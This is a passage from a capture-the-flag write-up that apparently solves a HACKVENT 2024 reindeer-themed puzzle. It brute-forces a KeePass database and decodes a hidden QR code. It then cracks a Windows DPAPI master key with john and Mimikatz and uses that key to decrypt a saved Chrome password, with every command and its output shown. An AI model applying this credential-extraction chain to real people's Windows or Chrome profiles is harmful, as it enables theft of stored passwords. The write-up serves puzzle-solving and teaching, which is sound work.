It tries each flag text by itself, inside HV24{}
, base64 decoded, hex decoded, and inverted.
oxdf@hacky$ python blitzen_passwords.py > blitzen_wordlist
oxdf@hacky$ wc -l blitzen_wordlist
7224 blitzen_wordlist
Crack Password
Unfortunately, this version of KeePass isn’t supported by keepass2john
:
oxdf@hacky$ keepass2john Blitzen/blitzen-passwords.kdbx
! Blitzen/blitzen-passwords.kdbx : File version '40000' is currently not supported!
keepass4brute is a shell script that attempts passwords via the keepassxc-cli
client. I’ll install that (apt install keepassxc
). And then run the script:
oxdf@hacky$ ./keepass4brute.sh Blitzen/blitzen-passwords.kdbx blitzen_wordlist
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute
[+] Words tested: 4786/7224 - Attempts per minute: 1669 - Estimated time remaining: 1 minutes, 27 seconds
[+] Current attempt: HV24{#?#?#?#ToG3th3r#}
[*] Password found: HV24{#?#?#?#ToG3th3r#}
On my system, it tries about 1700 attempts per minute, and finds it after a few minutes. This is the third of four segments of the flag.
Alternative Get Password
While looking for hidden flags, I noted that the flags and nulls in the flag.txt
file seemed almost random, and decided to look at the pattern.
I’ll play a bit with the file in the Python REPL:
>>> import re
>>> with open('Blitzen/flag.txt', 'r') as f:
... data = f.read()
...
>>> data2 =re.sub(r'HV24{.+?}', '1', data)
>>> data3 = data2.replace('\x00', '0')
>>> print(data3)
111111100010011010010101010111101001100000101011001111111
100000100100011101100100001101000111010100000101001000001
101110101111111100111001000111100010000100101011001011101
101110101010100001101101010101011111100010110001001011101
101110101011010111001001101111101010110111101101001011101
100000101010111010010010001000111100101010010110001000001
111111101010101010101010101010101010101010101010101111111
000000001011001001011110101000110100001010110101000000000
101111100100101001000011001111100001101001100111101111100
001010010110011111011101111101110100010110110000100000101
111010100001110011111100101000000001011101100111110100110
111000010100100111110000111101101000100111000000111111100
110000100001100111010101100011110001011000011010001000100
100001000110010100011000100111101000010101001001111110101
011110111000110011001001110010000011011100111010000011110
111101000111010011110100100001001101100111101110101010110
000010111000110011011100110100010110110100000010001101101
101010011010011010110101000001010001100001111001110101010
011110111010010110010110000100100110110100010110001100000
011001011000111001011001010110101100011100111011100011010
010011101011111100100101111101110110101010110111010000100
010011011100101111111100101000101000111111110011100101100
111000100100011010110111110001100111000010000101011101011
100101001100011010101100110010010101011001101101111001101
010001101010001100001001011000100001100101010001100101011
101110010110001010111111111001110100110001101100110001101
011111111110010110101000011111100000101101011001111111000
110010001000011011010111101000100010010111000000100011110
111010101010110010010100011010111111101000011000101011000
110010001001101101101110111000101010110101001100100011001
011011111100101110011101101111111100101100111110111110000
111010011011101011111101100001011101100110110000001101101
111011110000000001000000100011110110111101100001111101010
100010010111111000000111001000000101100010110101001011011
010111100110000010101010000000100110101001100111011110010
110011010110000111001101011100001100111010001101000011000
100011101000011111010101111001110001001000010010100110100
001010000101101100001100110101101000011001100000110000100
001001100101001000101011101001100111000000000010000111111
011011000000011000110100100100001100000001001101110110101
101101110110101010001100110100110001110101010000011111111
010100011100111111111011001011110001000001101101101101110
111110100110101010010110011110101011010100000000110111100
001101011001011110011101000011100010000101101011001101110
100000111110001011101010010111011110101011110110100111000
000100010101100011010001100000001011110111111011011101101
101001100110110011101001111111011101101011000100100111100
111110000111101010011011100100110100010110110100011101110
000000100010110110111010001111100000111101100101111111000
000000001101011001110111101000110100110110110000100010001
111111100010011011111000011010100000011101100111101011110
100000101011000010111000101000101100111111000101100011101
101110101110101100111011101111100101010000011101111110010
101110101100011000101100110111101000010101001001110100100
101110101001110001010101111000000011001110111110101011100
100000100110111111110110101101111001100110111101100110100
11111110111111100111111011100010010110000010110101011110
I’ll notice that the newlines actually line this thing up as a square! And on closer inspection, it’s a QRcode.
I’ll replace the 0s and 1s with blocks on spaces:
>>> data4 = data3.replace("0", "█").replace("1", " ")
And print it:
On saving that to a file, it’s got text:
oxdf@hacky$ zbarimg blitzen_qr.png
QR-Code:gur znfgre cnffjbeq lbh ner ybbxvat sbe vf gur 1336gu bar ohg jvgu pbagragf erirefrq! Nyjnlf rkcrpg gur bss-ol-bar reebe!
scanned 1 barcode symbols from 1 images in 0.01 seconds
That rot13 decodes to:
oxdf@hacky$ zbarimg blitzen_qr.png 2>/dev/null | cut -d: -f2 | tr 'n-za-mN-Z-A-N' 'a-zA-Z'
the master password you are looking for is the 1336th one but with contents reversed! Zlways expect the offNbyNone error!
I’ll use Bash commands to get the flag:
oxdf@hacky$ cat Blitzen/flag.txt | grep -aoP 'HV24{.+?}' | head -1336 | tail -1 | cut -c6- | rev | cut -c2- | sed 's/\(.*\)/HV24{\1}/'
HV24{#?#?#?#ToG3th3r#}
grep -aoP 'HV24{.+?}'
gets all the flags.head -1336
gets the first 1336 lines.tail -1
get the last remaining line.cut -c6-
gets from character six onwards (droppingHV24{
).rev
reverses the string.cut -c2-
removes the}
now at the front of the string.sed 's/\(.*\)/HV24{\1}/'
wraps the result back in theHV24{}
.
Prancer
Keepass
I’ll open the database in keepassxc
. There are five folders:
There’s a troll, as well as the lyrics to Flying High and the password to this DB in General
. eMail
has one for santamail.christmas
(but the site is not online):
Windows
has blitzen’s Windows 11 password:
Recycle Bin
has the one that matters:
It’s easy to miss that there’s an attachment to this one. The main window doesn’t show anything too interesting:
But on the “Advanced” view, there’s an attachment:
Recover DPAPI Master Key
The files in the zip are the DPAPI keys for prancer:
oxdf@hacky$ unzip -l Prancers-keys.zip
Archive: Prancers-keys.zip
Length Date Time Name
--------- ---------- ----- ----
0 2024-12-12 13:33 C/
0 2024-12-12 13:33 C/Users/
0 2024-12-12 13:34 C/Users/prancer/
0 2024-12-12 13:34 C/Users/prancer/AppData/
0 2024-12-12 13:34 C/Users/prancer/AppData/Roaming/
0 2024-12-12 13:34 C/Users/prancer/AppData/Roaming/Microsoft/
0 2024-12-12 13:34 C/Users/prancer/AppData/Roaming/Microsoft/Protect/
0 2024-12-12 13:30 C/Users/prancer/AppData/Roaming/Microsoft/Protect/S-1-5-21-3152064623-1017805262-467371474-1001/
468 2024-12-12 02:23 C/Users/prancer/AppData/Roaming/Microsoft/Protect/S-1-5-21-3152064623-1017805262-467371474-1001/c790ec71-1c98-404a-9dab-4bfe8f6871a5
24 2024-12-12 02:23 C/Users/prancer/AppData/Roaming/Microsoft/Protect/S-1-5-21-3152064623-1017805262-467371474-1001/Preferred
--------- -------
492 10 files
DPAPI is the Windows per-user encryption used to protect secrets and manage encrypted files. I’ll create a hash for the master key:
oxdf@hacky$ DPAPImk2john.py -S S-1-5-21-3152064623-1017805262-467371474-1001 -mk C/Users/prancer/AppData/Roaming/Microsoft/Protect/S-1-5-21-3152064623-1017805262-467371474-1001/c790ec71-1c98-404a-9dab-4bfe8f6871a5 -c local | tee prancer_dpapi.hash
$DPAPImk$2*1*S-1-5-21-3152064623-1017805262-467371474-1001*aes256*sha512*8000*dd9910a8f9dbed99caf0eb98527e4bff*288*024ed8b5eef41f45a96d52eaeb98c06e75054c5369076328ac49abbc5e956ce6a043adbdd63899646afc1c5820b3d2021d5230846f26250ea92ee8dc7a4691e6fbc6c5c3abae38c0a0b47ae10d146b5a20171cfdb4a8556edb53c4a4cdeeab33ada65f67c3f3131e5c4c057297487d60e85e2de5123daf63171c6a2f5aac00afbd19efa9ec9f3232ed307d7a66f3ed3e
And it cracks with john
:
oxdf@hacky$ ./john ~/hackvent2024/day15/prancer_dpapi.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --format=DPAPImk
Warning: invalid UTF-8 seen reading /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (DPAPImk, DPAPI masterkey file v1 and v2 [SHA1/MD4 PBKDF2-(SHA1/SHA512)-DPAPI-variant 3DES/AES256 256/256 AVX2 8x])
Cost 1 (iteration count) is 8000 for all loaded hashes
Will run 12 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:./password.lst
Enabling duplicate candidate password suppressor
prancer2 (?)
1g 0:00:01:19 DONE 2/3 (2024-12-15 18:14) 0.01264g/s 6587p/s 6587c/s 6587C/s jkj123..stansted
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
I’ll get the master key from that with Mimikatz on a Windows VM:
PS Z:\hackvent2024\day15\C\Users\prancer\AppData\Roaming\Microsoft\Protect\S-1-5-21-3152064623-1017805262-467371474-1001 > C:\Tools\Mimikatz\x64\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # dpapi::masterkey /in:c790ec71-1c98-404a-9dab-4bfe8f6871a5 /sid:S-1-5-21-3152064623-1017805262-467371474-1001 /password:prancer2 /protected
**MASTERKEYS**
dwVersion : 00000002 - 2
szGuid : {c790ec71-1c98-404a-9dab-4bfe8f6871a5}
dwFlags : 00000005 - 5
dwMasterKeyLen : 000000b0 - 176
dwBackupKeyLen : 00000090 - 144
dwCredHistLen : 00000014 - 20
dwDomainKeyLen : 00000000 - 0
[masterkey]
**MASTERKEY**
dwVersion : 00000002 - 2
salt : dd9910a8f9dbed99caf0eb98527e4bff
rounds : 00001f40 - 8000
algHash : 0000800e - 32782 (CALG_SHA_512)
algCrypt : 00006610 - 26128 (CALG_AES_256)
pbKey : 024ed8b5eef41f45a96d52eaeb98c06e75054c5369076328ac49abbc5e956ce6a043adbdd63899646afc1c5820b3d2021d5230846f26250ea92ee8dc7a4691e6fbc6c5c3abae38c0a0b47ae10d146b5a20171cfdb4a8556edb53c4a4cdeeab33ada65f67c3f3131e5c4c057297487d60e85e2de5123daf63171c6a2f5aac00afbd19efa9ec9f3232ed307d7a66f3ed3e
[backupkey]
**MASTERKEY**
dwVersion : 00000002 - 2
salt : 29f8e374eedee9b6f5d2a7ae8c0b77bc
rounds : 00001f40 - 8000
algHash : 0000800e - 32782 (CALG_SHA_512)
algCrypt : 00006610 - 26128 (CALG_AES_256)
pbKey : f0aa63b9dc61a1da66de3137d9830bd1996a0bfa9942deb3f16d66d07949cd6070dfdebe3aa7a3e08393e2ec438f28fce6e28380f7f37b656ba5fcd174215bb2ee07850b263b520a0f15637b0fe1ce2863068a68236030ae1d98c0793ade307aa20d136429e48ee0b1bded7fb26bb545
[credhist]
**CREDHIST INFO**
dwVersion : 00000003 - 3
guid : {a163913c-885c-42aa-b243-4581bc47fd80}
[masterkey] with password: prancer2 (protected user)
key : a0b912995883940fac279a75f575c3ead6b037de200e99b52ae2749218568c80a54c602d52a65a991ca93ee830f3d2856c27c7c18ee9f12c657f3e94b6755afd
sha1: 0b1601b9711202469e94a2188eb40005d26849db
Chrome Passwords
Prancer’s directory has a markdown file and a Chrome.zip
archive:
## Prancer's Update
YO YO RUDOLPH!
How's that famous red nose! Still shining bright I hope!
For my performance, in your honour, I am going to rap this masterpiece:
https://www.youtube.com/watch?v=B4W_XYI4AN0
All my practice was going well! Until I went to visit the vet because when I came back my web browser was broken!@#$
My browser preferences were completely gone! Luckily, I found the browser related files they tried to delete in my recycle bin and I restored everything. Everything seems to work again now expect my saved passwords...I can't seem to figure out why. I checked the security tapes and it showed Blitzen leaving the scene of the crime! Trying to interfere with my practice so they can outshine me haha.
Oh and one more thing, I found out that one of the other Reindeer had a suspicious file on their computer. After Santa told us about that nasty Ransomware that infected his computer, I am taking no chances. I scanned the file for viruses but all of the anti-virus softwares think it is clean. But you should never risk things like this so I deleted the file permanently to keep everyone safe. :)
Anyway, this will be the best event ever thanks to you!
YOU'LL GO DOOOOWN IN HISTA, YOU'LL GO DOOOOWN IN HISTA, YOU'LL GO DOOOOWN IN HISTOOORY!
Rock on,
Prancer
The Chrome.zip
file has a Chrome profile directory. To look at the saved passwords (as mentioned in the markdown file), I’ll find the SQLite database Login Data
:
oxdf@hacky$ sqlite3 Prancer/Chrome/Default/Login\ Data
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .headers on
sqlite> .tables
insecure_credentials password_notes sync_model_metadata
logins stats
meta sync_entities_metadata
The logins
table has one saved password:
sqlite> select origin_url, username_value, hex(password_value) from logins;
origin_url|username_value|hex(password_value)
https://accounts.santamail.christmas/|prancer@santamail.christmas|7631308EFC250CFA2E807CE6D1C1091331847E7EC7EE57B4A510F7F9021DCEB9A79CB494A903461C5749B7084785686D75
It’s a binary blob because it’s encrypted. To decrypt it, I’ll need to get the master key from the Chrome profile, which is encrypted with DPAPI. It is stored in JSON format in the Local State
file under os_crypt
/ encrypted_key
:
oxdf@hacky$ cat Prancer/Chrome/Local\ State | jq '.os_crypt.encrypted_key'
"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABx7JDHmBxKQJ2rS/6PaHGlEAAAABwAAABHAG8AbwBnAGwAZQAgAEMAaAByAG8AbQBlAAAAEGYAAAABAAAgAAAA83EeusVzPjsnBVv3kOCD/WKv+vPupZfVCEgS3AnHVV4AAAAADoAAAAACAAAgAAAAcOiLSJLvHXKfCWrte7WoT1LDS6MibMnPMJphcKpyKIcwAAAAXDXiwe0JEFrieifkUUh/6KGGvIJjel63WP6cE4S34UZvJ2O3ddz1dkrmXi6s88ntQAAAACdkCr/EYzTDN+gooyH/0LhTdOIbmFN+YzIozk+MAc6NvlansMQvrfygFCrRuellkLGskRmnT7qAOAmnb2k9iCE="
I’m saving that value to a file, but I need to remove the first five characters:
oxdf@hacky$ cat Prancer/Chrome/Local\ State | jq -r '.os_crypt.encrypted_key' | base64 -d | cut -c5- > encrypted_key
Now that can go back to Mimikatz with the DPAPI key from above:
PS Z:\hackvent2024\day15\C\Users\prancer\AppData\Roaming\Microsoft\Protect\S-1-5-21-3152064623-1017805262-467371474-1001 > C:\Tools\Mimikatz\x64\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # dpapi::blob /masterkey:a0b912995883940fac279a75f575c3ead6b037de200e99b52ae2749218568c80a54c602d52a65a991ca93ee830f3d2856c27c7c18ee9f12c657f3e94b6755afd /in:Z:\hackvent2024\day15\encrypted_key /out:Z:\hackvent2024\day15\aes.dec
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {c790ec71-1c98-404a-9dab-4bfe8f6871a5}
dwFlags : 00000010 - 16 (audit ; )
dwDescriptionLen : 0000001c - 28
szDescription : Google Chrome
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : f3711ebac5733e3b27055bf790e083fd62affaf3eea597d5084812dc09c7555e
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : 70e88b4892ef1d729f096aed7bb5a84f52c34ba3226cc9cf309a6170aa722887
dwDataLen : 00000030 - 48
pbData : 5c35e2c1ed09105ae27a27e451487fe8a186bc82637a5eb758fe9c1384b7e1466f2763b775dcf5764ae65e2eacf3c9ed
dwSignLen : 00000040 - 64
pbSign : 27640abfc46334c337e828a321ffd0b85374e21b98537e633228ce4f8c01ce8dbe56a7b0c42fadfca0142ad1b9e96590b1ac9119a74fba803809a76f693d8821
* masterkey : a0b912995883940fac279a75f575c3ead6b037de200e99b52ae2749218568c80a54c602d52a65a991ca93ee830f3d2856c27c7c18ee9f12c657f3e94b6755afd
description : Google Chrome
Write to file 'Z:\hackvent2024\day15\aes.dec' is OK
The resulting key is written to aes.dec
. I’ll use the Python terminal to decrypt the value from the SQLite DB:
>>> from Cryptodome.Cipher import AES
>>> ct = bytes.fromhex('7631308EFC250CFA2E807CE6D1C1091331847E7EC7EE57B4A510F7F9021DCEB9A79CB494A903461C5749B7084785686D75')
>>> iv = ct[3:15]
>>> enc_pass = ct[15:-16]
>>> with open('aes.dec', 'rb') as f:
... key = f.read()
...
>>> len(key)
32
>>> cipher = AES.new(key, AES.MODE_GCM, iv)
>>> cipher.decrypt(enc_pass)
b'HV24{#?#?#BEST#?#}'
HV24{#?#?#BEST#?#}
.
Comet
Image
Comet left update.jpg
:
They are missing their recording!
Chrome History
There’s another database in the Chrome profile, History
, that has information worth checking out:
oxdf@hacky$ sqlite3 Prancer/Chrome/Default/History
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
cluster_keywords downloads segment_usage
cluster_visit_duplicates downloads_slices segments
clusters downloads_url_chains urls
clusters_and_visits history_sync_metadata visit_source
content_annotations keyword_search_terms visited_links
context_annotations meta visits
The downloads
table has one row, but the URL doesn’t exist:
sqlite> select * from downloads;
1|86cfbb2e-357b-4146-9995-9b1498064e8b|C:\Users\prancer\Downloads\Silent_Night_by_Comet.mid|C:\Users\prancer\Downloads\Silent_Night_by_Comet.mid|13378485422414494|4122|4122|1|0|0||13378485423611066|0|0|0|https://drive.google.com/||
|https://drive.usercontent.google.com/download?id=1CEohyNqduw9hA4P0OUmGxo1Zd6uvmptg&export=download|||||||Thu, 12 Dec 2024 03:54:23 GMT|audio/mid|application/octet-stream
The urls
table has the fuller history:
sqlite> select * from urls;
1|https://www.google.com/search?q=christmas+wikipedia&oq=Christmas+wikipedia&gs_lcrp=EgZjaHJvbWUqBwgAEAAYgAQyBwgAEAAYgAQyBwgBEAAYgAQyBwgCEAAYgAQyBwgDEAAYgAQyBwgEEAAYgAQyBwgFEAAYgAQyCAgGEAAYFhgeMggIBxAAGBYYHjIICAgQABgWGB4yCAgJEAAYFhge0gEIMzQ3OWowajeoAgewAgE&sourceid=chrome&ie=UTF-8|christmas wikipedia - Google Search|2|0|13378484490010198|0
2|https://en.wikipedia.org/wiki/Christmas|Christmas - Wikipedia|1|0|13378484491426611|0
3|https://en.wikipedia.org/wiki/Rudolph_the_Red-Nosed_Reindeer_(TV_special)|Rudolph the Red-Nosed Reindeer (TV special) - Wikipedia|1|0|13378484502582937|0
4|https://en.wikipedia.org/wiki/Rudolph_the_Red-Nosed_Reindeer_(song)|Rudolph, the Red-Nosed Reindeer (song) - Wikipedia|1|0|13378484508703561|0
5|https://en.wikipedia.org/wiki/Rudolph,_the_Red-Nosed_Reindeer_(song)|Rudolph, the Red-Nosed Reindeer (song) - Wikipedia|1|0|13378484508989179|0
6|https://www.google.com/search?q=when+is+christmas&sca_esv=e095c950f9c2c4db&ei=CehaZ-yTF-iMnesPuYj4gAk&oq=when+is+chris&gs_lp=Egxnd3Mtd2l6LXNlcnAiDXdoZW4gaXMgY2hyaXMqAggAMhEQABiABBiRAhixAxiDARiKBTILEAAYgAQYkQIYigUyCxAAGIAEGJECGIoFMhEQABiABBiRAhixAxiDARiKBTILEAAYgAQYkQIYigUyBRAAGIAEMgUQABiABDIFEAAYgAQyBRAAGIAEMgUQABiABEjcF1CvA1iID3ABeAGQAQKYAYsCoAH9E6oBBjAuMTIuM7gBA8gBAPgBAZgCDqAC7xDCAgoQABiwAxjWBBhHwgINEAAYgAQYsAMYQxiKBcICChAAGIAEGEMYigXCAhAQABiABBixAxhDGIMBGIoFwgINEAAYgAQYsQMYQxiKBcICDhAuGIAEGLEDGNEDGMcBwgIREC4YgAQYsQMY0QMYgwEYxwHCAg0QLhiABBhDGNQCGIoFwgIKEC4YgAQYQxiKBcICCBAAGIAEGLEDwgIHEAAYgAQYCpgDAIgGAZAGCpIHBjEuMTEuMqAH1ng&sclient=gws-wiz-serp|when is christmas - Google Search|2|0|13378484517579733|0
7|https://www.google.com/search?q=who+is+the+best+reindeer&sca_esv=e095c950f9c2c4db&ei=JOhaZ8jxKsHhseMPnOexCA&ved=0ahUKEwjIk-iFrqKKAxXBcGwGHZxzDAEQ4dUDCBA&uact=5&oq=who+is+the+best+reindeer&gs_lp=Egxnd3Mtd2l6LXNlcnAiGHdobyBpcyB0aGUgYmVzdCByZWluZGVlcjIFEAAYgAQyBhAAGBYYHjIIEAAYFhgKGB4yCBAAGKIEGIkFMggQABiABBiiBDIIEAAYgAQYogQyCBAAGIAEGKIESMElUMIMWLUgcAF4AZABAJgBnQKgAd4fqgEGMC4yMS4zuAEDyAEA-AEBmAIZoAKFIMICChAAGLADGNYEGEfCAg0QABiABBiwAxhDGIoFwgIKEAAYgAQYQxiKBcICCxAAGIAEGJECGIoFwgIIEAAYgAQYsQPCAgsQABiABBixAxiDAcICDhAAGIAEGLEDGIMBGIoFwgIOEC4YgAQYsQMY0QMYxwHCAgQQABgDwgILEC4YgAQYkQIYigXCAgsQABiABBiGAxiKBZgDAIgGAZAGCpIHBjEuMjEuM6AH_58B&sclient=gws-wiz-serp|who is the best reindeer - Google Search|2|0|13378484524237765|0
8|https://www.google.com/search?q=why+is+rudolph%27s+nose+red&sca_esv=e095c950f9c2c4db&ei=K-haZ6n5KPvvseMPgZXk8Qo&oq=why+is+rud&gs_lp=Egxnd3Mtd2l6LXNlcnAaAhgCIgp3aHkgaXMgcnVkKgIIADILEAAYgAQYkQIYigUyBRAAGIAEMgUQABiABDIFEAAYgAQyBRAAGIAEMgUQABiABDIFEAAYgAQyBRAAGIAEMgsQABiABBiRAhiKBTILEAAYgAQYkQIYigVIvERQixpYmDhwAngBkAEAmAHjAaABtROqAQYwLjEyLjK4AQPIAQD4AQGYAhCgAtITwgIKEAAYsAMY1gQYR8ICDRAuGIAEGEMY1AIYigXCAgoQLhiABBhDGIoFwgIKEAAYgAQYQxiKBcICExAuGIAEGLEDGEMYgwEY1AIYigXCAhAQLhiABBhDGMcBGIoFGK8BwgILEC4YgAQYsQMYgwHCAhAQABiABBixAxhDGIMBGIoFwgIQEC4YgAQYsQMYQxiDARiKBcICCBAuGIAEGLEDwgIOEAAYgAQYsQMYgwEYigXCAg0QLhiABBixAxhDGIoFwgINEAAYgAQYsQMYQxiKBcICCBAAGIAEGLEDwgIFEC4YgATCAhAQLhiABBjRAxhDGMcBGIoFwgIOEC4YgAQYsQMY0QMYxwHCAhEQLhiABBixAxjRAxiDARjHAcICFBAAGIAEGLEDGIMBGIoFGIsDGIwGwgIOEC4YgAQYsQMYgwEY1ALCAg4QLhiABBjHARiOBRivAZgDAIgGAZAGCJIHBjIuMTIuMqAH9rsB&sclient=gws-wiz-serp|why is rudolph's nose red - Google Search|2|0|13378484534604284|0
9|https://www.google.com/search?q=hackvent+2024&sca_esv=e095c950f9c2c4db&ei=NuhaZ8iVBvqWnesP6pG3-AU&ved=0ahUKEwjIiI6OrqKKAxV6S2cHHerIDV8Q4dUDCBA&uact=5&oq=hackvent+2024&gs_lp=Egxnd3Mtd2l6LXNlcnAiDWhhY2t2ZW50IDIwMjQyBRAAGIAEMggQABiABBiiBDIIEAAYogQYiQUyCBAAGKIEGIkFSM46UJoDWPE4cAF4AZABAZgBgwKgAfASqgEGMC4xMC4zuAEDyAEA-AEBmAIMoALiD8ICChAAGLADGNYEGEfCAg0QLhiABBiwAxhDGIoFwgINEAAYgAQYsAMYQxiKBcICCxAAGIAEGJECGIoFwgILEAAYgAQYsQMYgwHCAgUQLhiABMICDhAuGIAEGLEDGNEDGMcBwgIQEAAYgAQYkQIYigUYRhj5AcICChAuGIAEGEMYigXCAggQLhiABBixA8ICCBAAGIAEGLEDwgIOEAAYgAQYsQMYgwEYigXCAg0QABiABBixAxhDGIoFwgINEC4YgAQYsQMYQxiKBcICCxAuGIAEGMcBGK8BwgIHEAAYgAQYCsICDRAuGIAEGNEDGMcBGArCAgQQABgewgIGEAAYChgewgIGEAAYFhgemAMAiAYBkAYKkgcFMS45LjKgB7Fr&sclient=gws-wiz-serp|hackvent 2024 - Google Search|2|0|13378484547912874|0
10|https://hv24.idocker.hacking-lab.com/|HV24 – HackVent Cyber Puzzles|1|0|13378484550572168|0
11|https://www.google.com/search?q=who+hacked+santa&oq=who+hacked+santa&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIICAEQABgWGB4yDQgCEAAYhgMYgAQYigUyDQgDEAAYhgMYgAQYigUyDQgEEAAYhgMYgAQYigUyCggFEAAYgAQYogQyCggGEAAYogQYiQXSAQgxMTU2ajBqNKgCALACAQ&sourceid=chrome&ie=UTF-8|who hacked santa - Google Search|2|0|13378484558541941|0
12|https://www.google.com/search?q=santa+ransomware+attack+hackernews&oq=santa+ransomware+attack+hackernews&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIHCAEQIRigATIHCAIQIRigATIGCAMQIRgV0gEIMzk0NGowajmoAgCwAgE&sourceid=chrome&ie=UTF-8|santa ransomware attack hackernews - Google Search|2|0|13378484566959230|0
13|https://www.google.com/search?q=how+to+rap&oq=how+to+rap&gs_lcrp=EgZjaHJvbWUyCQgAEEUYORiABDIHCAEQABiABDIHCAIQABiABDIHCAMQABiABDIHCAQQABiABDIHCAUQABiABDIHCAYQABiABDIHCAcQABiABDIJCAgQABgKGIAEMgcICRAAGIAE0gEHNDU4ajBqN6gCALACAA&sourceid=chrome&ie=UTF-8|how to rap - Google Search|1|0|13378484647548764|0
14|https://www.wikihow.com/Rap|How to Rap: 14 Steps (with Pictures) - wikiHow|1|0|13378484649662217|0
15|https://www.google.com/search?q=how+to+rap+(reindeer+edition)&oq=how+to+rap+(reindeer+edition)&gs_lcrp=EgZjaHJvbWUyBggAEEUYOdIBBzM2NWowajSoAgCwAgE&sourceid=chrome&ie=UTF-8|how to rap (reindeer edition) - Google Search|2|0|13378484659908821|0
16|https://www.google.com/search?q=DMX+rudolph+the+red+nose+reindeer&oq=DMX+rudolph+the+red+nose+reindeer&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIJCAEQLhgKGIAEMgkIAhAAGAoYgAQyCAgDEAAYFhgeMggIBBAAGBYYHjIKCAUQABgKGBYYHjINCAYQABiGAxiABBiKBTINCAcQABiGAxiABBiKBdIBBzMyMWowajmoAgCwAgE&sourceid=chrome&ie=UTF-8|DMX rudolph the red nose reindeer - Google Search|2|0|13378484666023026|0
17|https://www.youtube.com/watch?v=B4W_XYI4AN0|DMX - Rudolph The Red Nosed Reindeer (Audio) - YouTube|1|0|13378484669605878|0
18|https://www.google.com/search?q=dmx+pictures&oq=DMX+pictures&gs_lcrp=EgZjaHJvbWUqBwgAEAAYgAQyBwgAEAAYgAQyBwgBEAAYgAQyCAgCEAAYFhgeMggIAxAAGBYYHjIICAQQABgWGB4yCAgFEAAYFhgeMggIBhAAGBYYHjIICAcQABgWGB4yCAgIEAAYFhgeMggICRAAGBYYHtIBBzQ4NGowajeoAgCwAgA&sourceid=chrome&ie=UTF-8|dmx pictures - Google Search|1|0|13378484677454011|0
19|https://www.google.com/search?sca_esv=e095c950f9c2c4db&q=dmx+pictures&udm=2&fbs=AEQNm0Aa4sjWe7Rqy32pFwRj0UkWd8nbOJfsBGGB5IQQO6L3J03RPjGV0MznOJ6Likin94pT_oR1DTSof42bOBxoTNxG8rlVtlHpDT0XaodfzKKV1TwR_qbS-aakEhWquIefCsFKaHB0KYQCzwp_KpjBzgqcrYGhvsLLOtjbuCfHDayPjTnT3CUWZbtHp26Caw_fmPEPneFrC2G3lsNMTxsEciHW3aqFEA&sa=X&sqi=2&ved=2ahUKEwiw76rSrqKKAxW0TGwGHc4FEiMQtKgLegQIFBAB&biw=988&bih=605&dpr=1|dmx pictures - Google Search|2|0|13378484684037038|0
20|https://www.google.com/search?sca_esv=e095c950f9c2c4db&q=dmx+pictures&udm=2&fbs=AEQNm0Aa4sjWe7Rqy32pFwRj0UkWd8nbOJfsBGGB5IQQO6L3J03RPjGV0MznOJ6Likin94pT_oR1DTSof42bOBxoTNxG8rlVtlHpDT0XaodfzKKV1TwR_qbS-aakEhWquIefCsFKaHB0KYQCzwp_KpjBzgqcrYGhvsLLOtjbuCfHDayPjTnT3CUWZbtHp26Caw_fmPEPneFrC2G3lsNMTxsEciHW3aqFEA&sa=X&sqi=2&ved=2ahUKEwiw76rSrqKKAxW0TGwGHc4FEiMQtKgLegQIFBAB&biw=988&bih=605&dpr=1#vhid=7-rkNBaGn1yDBM&vssid=mosaic|dmx pictures - Google Search|1|0|13378484685112588|0
21|https://www.google.com/search?sca_esv=e095c950f9c2c4db&q=dmx+pictures&udm=2&fbs=AEQNm0Aa4sjWe7Rqy32pFwRj0UkWd8nbOJfsBGGB5IQQO6L3J03RPjGV0MznOJ6Likin94pT_oR1DTSof42bOBxoTNxG8rlVtlHpDT0XaodfzKKV1TwR_qbS-aakEhWquIefCsFKaHB0KYQCzwp_KpjBzgqcrYGhvsLLOtjbuCfHDayPjTnT3CUWZbtHp26Caw_fmPEPneFrC2G3lsNMTxsEciHW3aqFEA&sa=X&sqi=2&ved=2ahUKEwiw76rSrqKKAxW0TGwGHc4FEiMQtKgLegQIFBAB&biw=988&bih=605&dpr=1#vhid=f8W-q7QKQPI0lM&vssid=mosaic|dmx pictures - Google Search|1|0|13378484687015343|0
